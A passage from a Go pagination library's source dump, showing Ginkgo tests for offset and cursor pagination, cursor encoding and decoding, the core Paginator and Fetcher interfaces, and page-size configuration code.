pageSize := 25 156 | var currentCursor *string 157 | 158 | for page := 0; page < 4; page++ { 159 | pageArgs := paging.WithSortBy(&paging.PageArgs{ 160 | First: &pageSize, 161 | After: currentCursor, 162 | }, "created_at", true) 163 | 164 | result, err := paginator.Paginate(ctx, pageArgs) 165 | Expect(err).ToNot(HaveOccurred()) 166 | Expect(result.Nodes).To(HaveLen(25)) 167 | 168 | // Advance cursor for next page 169 | if page < 3 { 170 | nextCursor := offset.EncodeCursor((page + 1) * pageSize) 171 | currentCursor = nextCursor 172 | } 173 | } 174 | }) 175 | }) 176 | 177 | Describe("Posts with Relationships", func() { 178 | BeforeEach(func() { 179 | // Seed posts for users 180 | _, err := SeedPosts(ctx, container.DB, userIDs, 3) 181 | Expect(err).ToNot(HaveOccurred()) 182 | }) 183 | 184 | It("should paginate posts with published filter", func() { 185 | first := 10 186 | pageArgs := paging.WithSortBy(&paging.PageArgs{First: &first}, "published_at", true) 187 | 188 | // Create fetcher with WHERE filter 189 | fetcher := sqlboiler.NewFetcher( 190 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.Post, error) { 191 | // Add WHERE filter to query mods 192 | mods = append([]qm.QueryMod{qm.Where("published_at IS NOT NULL")}, mods...) 193 | return models.Posts(mods...).All(ctx, container.DB) 194 | }, 195 | func(ctx context.Context, mods ...qm.QueryMod) (int64, error) { 196 | mods = append([]qm.QueryMod{qm.Where("published_at IS NOT NULL")}, mods...) 197 | return models.Posts(mods...).Count(ctx, container.DB) 198 | }, 199 | sqlboiler.OffsetToQueryMods, 200 | ) 201 | 202 | paginator := offset.New(fetcher) 203 | page, err := paginator.Paginate(ctx, pageArgs) 204 | Expect(err).ToNot(HaveOccurred()) 205 | 206 | Expect(page.Nodes).To(HaveLen(10)) 207 | // Verify all posts are published 208 | for _, post := range page.Nodes { 209 | Expect(post.PublishedAt).ToNot(BeNil()) 210 | } 211 | 212 | hasNext, _ := page.PageInfo.HasNextPage() 213 | Expect(hasNext).To(BeTrue()) // 25 users * 3 posts * 2/3 published = 50 posts 214 | }) 215 | }) 216 | }) 217 | -------------------------------------------------------------------------------- /cursor/encoder_test.go: -------------------------------------------------------------------------------- 1 | package cursor_test 2 | 3 | import ( 4 | "time" 5 | 6 | . "github.com/onsi/ginkgo/v2" 7 | . "github.com/onsi/gomega" 8 | 9 | "github.com/nrfta/paging-go/v2/cursor" 10 | ) 11 | 12 | // testUser is a simple test struct for cursor encoding 13 | type testUser struct { 14 | ID string 15 | Name string 16 | Email string 17 | CreatedAt time.Time 18 | TenantID int 19 | Age int 20 | } 21 | 22 | var _ = Describe("Cursor Encoding/Decoding", func() { 23 | var encoder *cursor.CompositeCursorEncoder[*testUser] 24 | 25 | BeforeEach(func() { 26 | // Create encoder that extracts created_at and id 27 | encoder = cursor.NewCompositeCursorEncoder(func(u *testUser) map[string]any { 28 | return map[string]any{ 29 | "created_at": u.CreatedAt, 30 | "id": u.ID, 31 | } 32 | }).(*cursor.CompositeCursorEncoder[*testUser]) 33 | }) 34 | 35 | Describe("Encode", func() { 36 | It("should encode a single item with multiple columns", func() { 37 | user := &testUser{ 38 | ID: "abc-123", 39 | CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 40 | } 41 | 42 | cursor, err := encoder.Encode(user) 43 | 44 | Expect(err).ToNot(HaveOccurred()) 45 | Expect(cursor).ToNot(BeNil()) 46 | Expect(*cursor).ToNot(BeEmpty()) 47 | }) 48 | 49 | It("should encode different data types correctly", func() { 50 | user := &testUser{ 51 | ID: "uuid-456", 52 | CreatedAt: time.Date(2024, 6, 15, 12, 30, 45, 0, time.UTC), 53 | } 54 | 55 | cursor, err := encoder.Encode(user) 56 | 57 | Expect(err).ToNot(HaveOccurred()) 58 | Expect(cursor).ToNot(BeNil()) 59 | }) 60 | 61 | It("should handle items with integer values", func() { 62 | // Create encoder that includes age (int) 63 | intEncoder := cursor.NewCompositeCursorEncoder(func(u *testUser) map[string]any { 64 | return map[string]any{ 65 | "age": u.Age, 66 | "id": u.ID, 67 | } 68 | }) 69 | 70 | user := &testUser{ 71 | ID: "test-id", 72 | Age: 25, 73 | } 74 | 75 | cursor, err := intEncoder.Encode(user) 76 | 77 | Expect(err).ToNot(HaveOccurred()) 78 | Expect(cursor).ToNot(BeNil()) 79 | }) 80 | 81 | It("should return nil for empty extractor result", func() { 82 | // Create encoder that returns empty map 83 | emptyEncoder := cursor.NewCompositeCursorEncoder(func(u *testUser) map[string]any { 84 | return map[string]any{} 85 | }) 86 | 87 | user := &testUser{ID: "test"} 88 | 89 | cursor, err := emptyEncoder.Encode(user) 90 | 91 | Expect(err).ToNot(HaveOccurred()) 92 | Expect(cursor).To(BeNil()) 93 | }) 94 | }) 95 | 96 | Describe("Decode", func() { 97 | It("should decode a valid cursor", func() { 98 | user := &testUser{ 99 | ID: "abc-123", 100 | CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 101 | } 102 | 103 | // Encode first 104 | encodedCursor, err := encoder.Encode(user) 105 | Expect(err).ToNot(HaveOccurred()) 106 | Expect(encodedCursor).ToNot(BeNil()) 107 | 108 | // Decode 109 | pos, err := encoder.Decode(*encodedCursor) 110 | 111 | Expect(err).ToNot(HaveOccurred()) 112 | Expect(pos).ToNot(BeNil()) 113 | Expect(pos.Values).To(HaveLen(2)) 114 | Expect(pos.Values).To(HaveKey("id")) 115 | Expect(pos.Values).To(HaveKey("created_at")) 116 | Expect(pos.Values["id"]).To(Equal("abc-123")) 117 | }) 118 | 119 | It("should handle empty cursor string", func() { 120 | pos, err := encoder.Decode("") 121 | 122 | Expect(err).ToNot(HaveOccurred()) 123 | Expect(pos).To(BeNil()) 124 | }) 125 | 126 | It("should handle invalid base64", func() { 127 | pos, err := encoder.Decode("invalid-base64!!!") 128 | 129 | Expect(err).ToNot(HaveOccurred()) 130 | Expect(pos).To(BeNil()) 131 | }) 132 | 133 | It("should handle invalid JSON", func() { 134 | // Base64 encode invalid JSON 135 | invalidJSON := "e25vdCB2YWxpZCBqc29ufQ==" // base64("{not valid json}") 136 | 137 | pos, err := encoder.Decode(invalidJSON) 138 | 139 | Expect(err).ToNot(HaveOccurred()) 140 | Expect(pos).To(BeNil()) 141 | }) 142 | 143 | It("should handle malformed cursor gracefully", func() { 144 | malformedCursors := []string{ 145 | "", 146 | "abc", 147 | "!!!", 148 | "AAA===", 149 | } 150 | 151 | for _, malformed := range malformedCursors { 152 | pos, err := encoder.Decode(malformed) 153 | Expect(err).ToNot(HaveOccurred()) 154 | Expect(pos).To(BeNil()) 155 | } 156 | }) 157 | }) 158 | 159 | Describe("Round-trip encoding", func() { 160 | It("should successfully encode and decode with string values", func() { 161 | user := &testUser{ 162 | ID: "user-789", 163 | CreatedAt: time.Date(2024, 3, 15, 10, 30, 0, 0, time.UTC), 164 | } 165 | 166 | // Encode 167 | encodedCursor, err := encoder.Encode(user) 168 | Expect(err).ToNot(HaveOccurred()) 169 | Expect(encodedCursor).ToNot(BeNil()) 170 | 171 | // Decode 172 | pos, err := encoder.Decode(*encodedCursor) 173 | Expect(err).ToNot(HaveOccurred()) 174 | Expect(pos).ToNot(BeNil()) 175 | 176 | // Verify values 177 | Expect(pos.Values["id"]).To(Equal("user-789")) 178 | Expect(pos.Values["created_at"]).ToNot(BeNil()) 179 | }) 180 | 181 | It("should preserve integer values through encode/decode", func() { 182 | intEncoder := cursor.NewCompositeCursorEncoder(func(u *testUser) map[string]any { 183 | return map[string]any{ 184 | "age": u.Age, 185 | "id": u.ID, 186 | } 187 | }) 188 | 189 | user := &testUser{ 190 | ID: "test-id", 191 | Age: 42, 192 | } 193 | 194 | // Encode 195 | encodedCursor, err := intEncoder.Encode(user) 196 | Expect(err).ToNot(HaveOccurred()) 197 | 198 | // Decode 199 | pos, err := intEncoder.Decode(*encodedCursor) 200 | Expect(err).ToNot(HaveOccurred()) 201 | 202 | // Verify age is preserved (JSON numbers decode as float64) 203 | Expect(pos.Values["age"]).To(BeNumerically("==", 42)) 204 | }) 205 | 206 | It("should handle multiple users with different timestamps", func() { 207 | users := []*testUser{ 208 | {ID: "user-1", CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC)}, 209 | {ID: "user-2", CreatedAt: time.Date(2024, 2, 1, 0, 0, 0, 0, time.UTC)}, 210 | {ID: "user-3", CreatedAt: time.Date(2024, 3, 1, 0, 0, 0, 0, time.UTC)}, 211 | } 212 | 213 | for _, user := range users { 214 | // Encode 215 | encodedCursor, err := encoder.Encode(user) 216 | Expect(err).ToNot(HaveOccurred()) 217 | 218 | // Decode 219 | pos, err := encoder.Decode(*encodedCursor) 220 | Expect(err).ToNot(HaveOccurred()) 221 | 222 | // Verify ID is preserved 223 | Expect(pos.Values["id"]).To(Equal(user.ID)) 224 | } 225 | }) 226 | }) 227 | 228 | Describe("Multiple column encoding", func() { 229 | It("should encode three columns correctly", func() { 230 | threeColEncoder := cursor.NewCompositeCursorEncoder(func(u *testUser) map[string]any { 231 | return map[string]any{ 232 | "created_at": u.CreatedAt, 233 | "age": u.Age, 234 | "id": u.ID, 235 | } 236 | }) 237 | 238 | user := &testUser{ 239 | ID: "multi-col-user", 240 | CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 241 | Age: 30, 242 | } 243 | 244 | // Encode 245 | encodedCursor, err := threeColEncoder.Encode(user) 246 | Expect(err).ToNot(HaveOccurred()) 247 | 248 | // Decode 249 | pos, err := threeColEncoder.Decode(*encodedCursor) 250 | Expect(err).ToNot(HaveOccurred()) 251 | 252 | // Verify all three columns 253 | Expect(pos.Values).To(HaveLen(3)) 254 | Expect(pos.Values).To(HaveKey("created_at")) 255 | Expect(pos.Values).To(HaveKey("age")) 256 | Expect(pos.Values).To(HaveKey("id")) 257 | }) 258 | }) 259 | }) 260 | -------------------------------------------------------------------------------- /interfaces.go: -------------------------------------------------------------------------------- 1 | package paging 2 | 3 | import "context" 4 | 5 | // Paginator is the core interface for all pagination strategies. 6 | // Implementations include offset-based, cursor-based, and quota-fill pagination. 7 | // 8 | // Type parameter T is the item type being paginated (e.g., User, Post, Organization). 9 | // 10 | // Example implementations: 11 | // - offset.Paginator: Traditional offset/limit pagination 12 | // - cursor.Paginator: High-performance cursor-based pagination 13 | // - quotafill.Wrapper: Filtering-aware pagination 14 | // 15 | // Example usage: 16 | // 17 | // paginator := offset.New(fetcher) 18 | // result, err := paginator.Paginate(ctx, args, 19 | // paging.WithMaxSize(100), 20 | // paging.WithDefaultSize(25), 21 | // ) 22 | type Paginator[T any] interface { 23 | // Paginate executes pagination and returns a page of results. 24 | // The PageArgs contain the page size (First) and cursor position (After). 25 | // Options like WithMaxSize and WithDefaultSize configure per-request page size limits. 26 | Paginate(ctx context.Context, args *PageArgs, opts ...PaginateOption) (*Page[T], error) 27 | } 28 | 29 | // Page represents a single page of paginated results. 30 | // It contains the actual items, pagination metadata, and observability information. 31 | // 32 | // Type parameter T is the item type being paginated. 33 | type Page[T any] struct { 34 | // Nodes contains the items for this page. 35 | Nodes []T 36 | 37 | // PageInfo contains pagination metadata (hasNextPage, cursors, etc.) 38 | PageInfo *PageInfo 39 | 40 | // Metadata provides observability and debugging information. 41 | // Useful for monitoring pagination performance and behavior. 42 | Metadata Metadata 43 | } 44 | 45 | // Metadata provides observability and debugging information about pagination execution. 46 | // This data is useful for monitoring, alerting, and optimization. 47 | type Metadata struct { 48 | // Strategy identifies which pagination strategy was used. 49 | // Values: "offset", "cursor", "quotafill" 50 | Strategy string 51 | 52 | // QueryTimeMs is the total time spent executing database queries. 53 | QueryTimeMs int64 54 | 55 | // ItemsExamined is the total number of items fetched from the database. 56 | // For quota-fill, this may be higher than the returned item count due to filtering. 57 | ItemsExamined int 58 | 59 | // IterationsUsed is the number of fetch iterations performed. 60 | // For simple pagination this is 1. For quota-fill it may be higher. 61 | IterationsUsed int 62 | 63 | // SafeguardHit indicates if a safeguard was triggered during quota-fill. 64 | // Values: nil (no safeguard), "max_iterations", "max_records", "timeout" 65 | SafeguardHit *string 66 | 67 | // Offset is the current offset position for offset-based pagination. 68 | // This field is only populated when Strategy is "offset". 69 | // Used by BuildConnection to generate accurate cursors for multi-page results. 70 | Offset int 71 | } 72 | 73 | // Fetcher abstracts database queries for any ORM or database layer. 74 | // This interface allows paginators to work with SQLBoiler, GORM, sqlc, 75 | // or raw SQL without being tightly coupled to any specific ORM. 76 | // 77 | // Type parameter T is the database model type (e.g., *models.User from SQLBoiler). 78 | // 79 | // Example implementation: 80 | // 81 | // type sqlboilerFetcher struct { 82 | // queryFunc func(...qm.QueryMod) ([]*models.User, error) 83 | // countFunc func(...qm.QueryMod) (int64, error) 84 | // } 85 | type Fetcher[T any] interface { 86 | // Fetch retrieves items from storage based on the given parameters. 87 | // It should apply limit, offset/cursor, ordering, and any custom filters. 88 | Fetch(ctx context.Context, params FetchParams) ([]T, error) 89 | 90 | // Count returns the total number of items matching the filters (without pagination). 91 | // This is optional for some pagination strategies (cursor-based doesn't need it). 92 | // Return 0 if count is not supported or too expensive to compute. 93 | Count(ctx context.Context, params FetchParams) (int64, error) 94 | } 95 | 96 | // FetchParams contains all parameters needed to fetch a page of data. 97 | // Paginators construct these parameters based on their strategy. 98 | type FetchParams struct { 99 | // Limit is the maximum number of items to fetch. 100 | Limit int 101 | 102 | // Offset is the number of items to skip (for offset-based pagination). 103 | Offset int 104 | 105 | // Cursor is the position marker (for cursor/keyset pagination). 106 | // Contains the values of sort columns for the last item on the previous page. 107 | Cursor *CursorPosition 108 | 109 | // Filters contains custom filter criteria. 110 | // These are strategy-agnostic and passed through to the Fetcher implementation. 111 | Filters map[string]any 112 | 113 | // OrderBy specifies the sort order for results. 114 | OrderBy []Sort 115 | } 116 | 117 | // Sort represents a sort directive for query results. 118 | type Sort struct { 119 | // Column is the name of the column to sort by. 120 | Column string 121 | 122 | // Desc indicates descending order. False means ascending. 123 | Desc bool 124 | } 125 | 126 | // CursorPosition encodes the pagination position for cursor-based strategies. 127 | // It contains the values of the sort columns for resuming pagination. 128 | // 129 | // Example for sorting by (created_at DESC, id ASC): 130 | // 131 | // CursorPosition{ 132 | // Values: map[string]any{ 133 | // "created_at": time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 134 | // "id": "uuid-123", 135 | // }, 136 | // } 137 | // 138 | // This translates to: WHERE (created_at, id) < ('2024-01-01', 'uuid-123') 139 | type CursorPosition struct { 140 | // Values maps column names to their values at the cursor position. 141 | Values map[string]any 142 | } 143 | 144 | // FilterFunc is a generic filter function for quota-fill pagination. 145 | // It receives a batch of items and returns a filtered subset. 146 | // 147 | // This function is intentionally generic - it doesn't need to know what 148 | // kind of filtering is being applied. Common use cases: 149 | // - Authorization: Filter items the user is allowed to see 150 | // - Soft-deletes: Filter out deleted items 151 | // - Status filtering: Only return items with status="active" 152 | // - Feature flags: Filter based on enabled features 153 | // 154 | // Type parameter T is the item type being filtered. 155 | // 156 | // Example authorization filter: 157 | // 158 | // filterFunc := func(ctx context.Context, orgs []*models.Organization) ([]*models.Organization, error) { 159 | // checks := make([]AuthCheck, len(orgs)) 160 | // for i, org := range orgs { 161 | // checks[i] = AuthCheck{UserID: userID, OrgID: org.ID, Action: "read"} 162 | // } 163 | // results, err := authzClient.BatchCheck(ctx, checks) 164 | // if err != nil { 165 | // return nil, err 166 | // } 167 | // authorized := []*models.Organization{} 168 | // for _, org := range orgs { 169 | // if results[org.ID] { 170 | // authorized = append(authorized, org) 171 | // } 172 | // } 173 | // return authorized, nil 174 | // } 175 | type FilterFunc[T any] func(ctx context.Context, items []T) ([]T, error) 176 | 177 | // CursorEncoder handles cursor serialization for cursor-based pagination. 178 | // It converts items into opaque cursor strings and decodes cursor strings 179 | // back into CursorPosition values. 180 | // 181 | // Type parameter T is the item type (e.g., *models.User). 182 | // 183 | // Example implementation: 184 | // 185 | // type compositeCursorEncoder struct { 186 | // extractor func(*models.User) map[string]any 187 | // } 188 | // 189 | // func (e *compositeCursorEncoder) Encode(user *models.User) (*string, error) { 190 | // values := e.extractor(user) // {"created_at": ..., "id": ...} 191 | // data, _ := json.Marshal(values) 192 | // encoded := base64.StdEncoding.EncodeToString(data) 193 | // return &encoded, nil 194 | // } 195 | type CursorEncoder[T any] interface { 196 | // Encode creates an opaque cursor string from an item. 197 | // The cursor should encode the values needed to resume pagination 198 | // (typically the sort key values). 199 | Encode(item T) (*string, error) 200 | 201 | // Decode extracts cursor position from an opaque cursor string. 202 | // Returns nil if the cursor is empty or invalid. 203 | Decode(cursor string) (*CursorPosition, error) 204 | } 205 | -------------------------------------------------------------------------------- /page_args.go: -------------------------------------------------------------------------------- 1 | package paging 2 | 3 | import "fmt" 4 | 5 | const ( 6 | // DefaultPageSize is the default number of items per page when not specified. 7 | DefaultPageSize = 50 8 | 9 | // DefaultMaxPageSize is the default maximum page size allowed. 10 | // This protects against resource exhaustion from unreasonably large page requests. 11 | DefaultMaxPageSize = 1000 12 | ) 13 | 14 | // PageConfig holds pagination configuration options. 15 | // Use NewPageConfig() to create a config with sensible defaults, 16 | // then customize using the With* methods. 17 | // 18 | // Example: 19 | // 20 | // config := paging.NewPageConfig().WithMaxSize(500) 21 | // limit := config.EffectiveLimit(args) 22 | type PageConfig struct { 23 | // DefaultSize is the page size used when not specified in PageArgs. 24 | DefaultSize int 25 | 26 | // MaxSize is the maximum allowed page size. Requests exceeding this 27 | // will be capped to MaxSize (not rejected). 28 | MaxSize int 29 | } 30 | 31 | // NewPageConfig creates a PageConfig with sensible defaults: 32 | // - DefaultSize: 50 33 | // - MaxSize: 1000 34 | func NewPageConfig() *PageConfig { 35 | return &PageConfig{ 36 | DefaultSize: DefaultPageSize, 37 | MaxSize: DefaultMaxPageSize, 38 | } 39 | } 40 | 41 | // WithDefaultSize sets the default page size and returns the config for chaining. 42 | func (c *PageConfig) WithDefaultSize(size int) *PageConfig { 43 | if size > 0 { 44 | c.DefaultSize = size 45 | } 46 | return c 47 | } 48 | 49 | // WithMaxSize sets the maximum page size and returns the config for chaining. 50 | func (c *PageConfig) WithMaxSize(size int) *PageConfig { 51 | if size > 0 { 52 | c.MaxSize = size 53 | } 54 | return c 55 | } 56 | 57 | // EffectiveLimit returns the page size to use, applying defaults and caps. 58 | // - If args is nil or First is nil/zero, returns DefaultSize 59 | // - If First exceeds MaxSize, returns MaxSize 60 | // - Otherwise returns First 61 | func (c *PageConfig) EffectiveLimit(args *PageArgs) int { 62 | if c == nil { 63 | c = NewPageConfig() 64 | } 65 | 66 | defaultSize := c.DefaultSize 67 | if defaultSize <= 0 { 68 | defaultSize = DefaultPageSize 69 | } 70 | 71 | maxSize := c.MaxSize 72 | if maxSize <= 0 { 73 | maxSize = DefaultMaxPageSize 74 | } 75 | 76 | if args == nil || args.First == nil || *args.First <= 0 { 77 | return defaultSize 78 | } 79 | 80 | if *args.First > maxSize { 81 | return maxSize 82 | } 83 | 84 | return *args.First 85 | } 86 | 87 | // Validate checks if the page size exceeds MaxSize and returns an error if so. 88 | // Unlike EffectiveLimit which caps silently, Validate returns an error for 89 | // explicit rejection of invalid requests. 90 | func (c *PageConfig) Validate(args *PageArgs) error { 91 | if c == nil { 92 | c = NewPageConfig() 93 | } 94 | 95 | if args == nil || args.First == nil { 96 | return nil 97 | } 98 | 99 | maxSize := c.MaxSize 100 | if maxSize <= 0 { 101 | maxSize = DefaultMaxPageSize 102 | } 103 | 104 | if *args.First > maxSize { 105 | return &PageSizeError{ 106 | Requested: *args.First, 107 | Maximum: maxSize, 108 | } 109 | } 110 | 111 | return nil 112 | } 113 | 114 | // PageArgs represents pagination query parameters. 115 | // It follows the Relay cursor pagination specification with First (page size), 116 | // After (cursor), and SortBy (sort configuration) fields. 117 | type PageArgs struct { 118 | First *int `json:"first,omitempty"` 119 | After *string `json:"after,omitempty"` 120 | SortBy []Sort `json:"sortBy,omitempty"` 121 | } 122 | 123 | // WithSortBy configures a single sort column and direction for pagination. 124 | // It modifies the PageArgs and returns it for method chaining. 125 | // If pa is nil, a new PageArgs is created. 126 | // 127 | // Example: 128 | // 129 | // args := WithSortBy(nil, "created_at", true) 130 | // // Results in ORDER BY created_at DESC 131 | func WithSortBy(pa *PageArgs, column string, desc bool) *PageArgs { 132 | if pa == nil { 133 | pa = &PageArgs{} 134 | } 135 | 136 | pa.SortBy = []Sort{{Column: column, Desc: desc}} 137 | return pa 138 | } 139 | 140 | // WithMultiSort configures multiple sort columns with individual directions. 141 | // It modifies the PageArgs and returns it for method chaining. 142 | // If pa is nil, a new PageArgs is created. 143 | // 144 | // Example: 145 | // 146 | // args := WithMultiSort(nil, 147 | // Sort{Column: "created_at", Desc: true}, 148 | // Sort{Column: "name", Desc: false}, 149 | // ) 150 | // // Results in ORDER BY created_at DESC, name ASC 151 | func WithMultiSort(pa *PageArgs, sorts ...Sort) *PageArgs { 152 | if pa == nil { 153 | pa = &PageArgs{} 154 | } 155 | 156 | pa.SortBy = sorts 157 | return pa 158 | } 159 | 160 | // GetFirst returns the requested page size. 161 | func (pa *PageArgs) GetFirst() *int { 162 | return pa.First 163 | } 164 | 165 | // GetAfter returns the cursor position for pagination. 166 | func (pa *PageArgs) GetAfter() *string { 167 | return pa.After 168 | } 169 | 170 | // GetSortBy returns the list of sort specifications. 171 | func (pa *PageArgs) GetSortBy() []Sort { 172 | return pa.SortBy 173 | } 174 | 175 | // ValidatePageSize validates that the requested page size does not exceed the maximum. 176 | // Returns an error if First is set and exceeds maxPageSize. 177 | // 178 | // Deprecated: Use PageConfig.Validate() instead for clearer configuration. 179 | // This function is kept for backwards compatibility. 180 | // 181 | // If maxPageSize is 0, uses DefaultMaxPageSize (1000). 182 | // 183 | // Example with custom limit: 184 | // 185 | // func (r *resolver) Users(ctx context.Context, args *paging.PageArgs) (*UserConnection, error) { 186 | // if err := paging.ValidatePageSize(args, 500); err != nil { 187 | // return nil, err 188 | // } 189 | // // ... proceed with pagination 190 | // } 191 | // 192 | // Preferred approach using PageConfig: 193 | // 194 | // config := paging.NewPageConfig().WithMaxSize(500) 195 | // if err := config.Validate(args); err != nil { 196 | // return nil, err 197 | // } 198 | func ValidatePageSize(args *PageArgs, maxPageSize int) error { 199 | config := NewPageConfig() 200 | if maxPageSize > 0 { 201 | config.WithMaxSize(maxPageSize) 202 | } 203 | return config.Validate(args) 204 | } 205 | 206 | // Validate validates the PageArgs using DefaultMaxPageSize (1000). 207 | // This is a convenience method that uses the default PageConfig. 208 | // 209 | // For custom limits, use ValidateWith: 210 | // 211 | // config := paging.NewPageConfig().WithMaxSize(500) 212 | // if err := args.ValidateWith(config); err != nil { 213 | // return nil, err 214 | // } 215 | func (pa *PageArgs) Validate() error { 216 | return NewPageConfig().Validate(pa) 217 | } 218 | 219 | // ValidateWith validates the PageArgs using a custom PageConfig. 220 | // This allows specifying custom maximum page sizes per endpoint. 221 | // 222 | // Example: 223 | // 224 | // config := paging.NewPageConfig().WithMaxSize(100) 225 | // if err := args.ValidateWith(config); err != nil { 226 | // return nil, err // Page size too large 227 | // } 228 | func (pa *PageArgs) ValidateWith(config *PageConfig) error { 229 | return config.Validate(pa) 230 | } 231 | 232 | // PageSizeError is returned when the requested page size exceeds the maximum allowed. 233 | type PageSizeError struct { 234 | Requested int 235 | Maximum int 236 | } 237 | 238 | func (e *PageSizeError) Error() string { 239 | return fmt.Sprintf("requested page size %d exceeds maximum allowed page size of %d", 240 | e.Requested, e.Maximum) 241 | } 242 | 243 | // PaginateOption configures page size limits for a pagination request. 244 | // Options are passed to Paginate() to configure per-request limits. 245 | // 246 | // Example: 247 | // 248 | // result, err := paginator.Paginate(ctx, args, 249 | // paging.WithMaxSize(100), 250 | // paging.WithDefaultSize(25), 251 | // ) 252 | type PaginateOption func(*paginateConfig) 253 | 254 | // paginateConfig holds page size configuration for a pagination request. 255 | type paginateConfig struct { 256 | maxSize int 257 | defaultSize int 258 | } 259 | 260 | // WithMaxSize sets the maximum page size for this request. 261 | // If the requested size exceeds this, it will be capped to maxSize. 262 | // 263 | // Example: 264 | // 265 | // result, err := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 266 | func WithMaxSize(size int) PaginateOption { 267 | return func(c *paginateConfig) { 268 | if size > 0 { 269 | c.maxSize = size 270 | } 271 | } 272 | } 273 | 274 | // WithDefaultSize sets the default page size for this request. 275 | // Used when args.First is nil or zero. 276 | // 277 | // Example: 278 | // 279 | // result, err := paginator.Paginate(ctx, args, paging.WithDefaultSize(25)) 280 | func WithDefaultSize(size int) PaginateOption { 281 | return func(c *paginateConfig) { 282 | if size > 0 { 283 | c.defaultSize = size 284 | } 285 | } 286 | } 287 | 288 | // ApplyPaginateOptions applies functional options and returns a PageConfig. 289 | // This is an internal helper used by all paginators. 290 | func ApplyPaginateOptions(args *PageArgs, opts ...PaginateOption) *PageConfig { 291 | cfg := &paginateConfig{ 292 | maxSize: DefaultMaxPageSize, 293 | defaultSize: DefaultPageSize, 294 | } 295 | for _, opt := range opts { 296 | opt(cfg) 297 | } 298 | return &PageConfig{ 299 | MaxSize: cfg.maxSize, 300 | DefaultSize: cfg.defaultSize, 301 | } 302 | } 303 | -------------------------------------------------------------------------------- /sqlboiler/cursor_test.go: -------------------------------------------------------------------------------- 1 | package sqlboiler_test 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/nrfta/paging-go/v2" 7 | "github.com/nrfta/paging-go/v2/sqlboiler" 8 | . "github.com/onsi/ginkgo/v2" 9 | . "github.com/onsi/gomega" 10 | ) 11 | 12 | var _ = Describe("CursorToQueryMods", func() { 13 | Describe("Basic Functionality", func() { 14 | It("should return empty mods for empty params", func() { 15 | params := paging.FetchParams{} 16 | mods := sqlboiler.CursorToQueryMods(params) 17 | 18 | Expect(mods).To(HaveLen(0)) 19 | }) 20 | 21 | It("should add LIMIT mod", func() { 22 | params := paging.FetchParams{ 23 | Limit: 10, 24 | } 25 | mods := sqlboiler.CursorToQueryMods(params) 26 | 27 | Expect(mods).To(HaveLen(1)) 28 | Expect(modTypeName(mods[0])).To(Equal("qm.limitQueryMod")) 29 | }) 30 | 31 | It("should add ORDER BY mod", func() { 32 | params := paging.FetchParams{ 33 | OrderBy: []paging.Sort{ 34 | {Column: "created_at", Desc: true}, 35 | {Column: "id", Desc: true}, 36 | }, 37 | } 38 | mods := sqlboiler.CursorToQueryMods(params) 39 | 40 | Expect(mods).To(HaveLen(1)) 41 | Expect(modTypeName(mods[0])).To(Equal("qm.orderByQueryMod")) 42 | }) 43 | 44 | It("should add WHERE mod with cursor", func() { 45 | cursor := &paging.CursorPosition{ 46 | Values: map[string]any{ 47 | "created_at": time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 48 | "id": "user-123", 49 | }, 50 | } 51 | 52 | params := paging.FetchParams{ 53 | Cursor: cursor, 54 | OrderBy: []paging.Sort{ 55 | {Column: "created_at", Desc: true}, 56 | {Column: "id", Desc: true}, 57 | }, 58 | } 59 | 60 | mods := sqlboiler.CursorToQueryMods(params) 61 | 62 | Expect(mods).To(HaveLen(2)) 63 | Expect(modTypeName(mods[0])).To(whereModMatcher()) 64 | }) 65 | 66 | It("should combine all mods together", func() { 67 | cursor := &paging.CursorPosition{ 68 | Values: map[string]any{ 69 | "created_at": time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 70 | "id": "user-123", 71 | }, 72 | } 73 | 74 | params := paging.FetchParams{ 75 | Limit: 10, 76 | Cursor: cursor, 77 | OrderBy: []paging.Sort{ 78 | {Column: "created_at", Desc: true}, 79 | {Column: "id", Desc: true}, 80 | }, 81 | } 82 | 83 | mods := sqlboiler.CursorToQueryMods(params) 84 | 85 | Expect(mods).To(HaveLen(3)) 86 | Expect(modTypeName(mods[0])).To(whereModMatcher()) 87 | Expect(modTypeName(mods[1])).To(Equal("qm.limitQueryMod")) 88 | Expect(modTypeName(mods[2])).To(Equal("qm.orderByQueryMod")) 89 | }) 90 | }) 91 | 92 | Describe("Graceful Handling", func() { 93 | It("should handle nil cursor gracefully", func() { 94 | params := paging.FetchParams{ 95 | Cursor: nil, 96 | OrderBy: []paging.Sort{ 97 | {Column: "created_at", Desc: true}, 98 | }, 99 | } 100 | 101 | mods := sqlboiler.CursorToQueryMods(params) 102 | 103 | Expect(mods).To(HaveLen(1)) 104 | Expect(modTypeName(mods[0])).To(Equal("qm.orderByQueryMod")) 105 | }) 106 | 107 | It("should handle empty cursor values gracefully", func() { 108 | cursor := &paging.CursorPosition{ 109 | Values: map[string]any{}, 110 | } 111 | 112 | params := paging.FetchParams{ 113 | Cursor: cursor, 114 | OrderBy: []paging.Sort{ 115 | {Column: "created_at", Desc: true}, 116 | }, 117 | } 118 | 119 | mods := sqlboiler.CursorToQueryMods(params) 120 | 121 | // Should only have ORDER BY (no WHERE) 122 | Expect(mods).To(HaveLen(1)) 123 | }) 124 | 125 | It("should handle missing cursor column gracefully", func() { 126 | cursor := &paging.CursorPosition{ 127 | Values: map[string]any{ 128 | "created_at": time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 129 | // Missing "id" column 130 | }, 131 | } 132 | 133 | params := paging.FetchParams{ 134 | Cursor: cursor, 135 | OrderBy: []paging.Sort{ 136 | {Column: "created_at", Desc: true}, 137 | {Column: "id", Desc: true}, // This column is missing in cursor 138 | }, 139 | } 140 | 141 | mods := sqlboiler.CursorToQueryMods(params) 142 | 143 | // Should only have ORDER BY (no WHERE due to missing column) 144 | Expect(mods).To(HaveLen(1)) 145 | }) 146 | }) 147 | }) 148 | 149 | var _ = Describe("KeysetWhereClause", func() { 150 | Describe("WHERE Clause Generation", func() { 151 | It("should generate correct WHERE clause for DESC order", func() { 152 | cursor := &paging.CursorPosition{ 153 | Values: map[string]any{ 154 | "created_at": 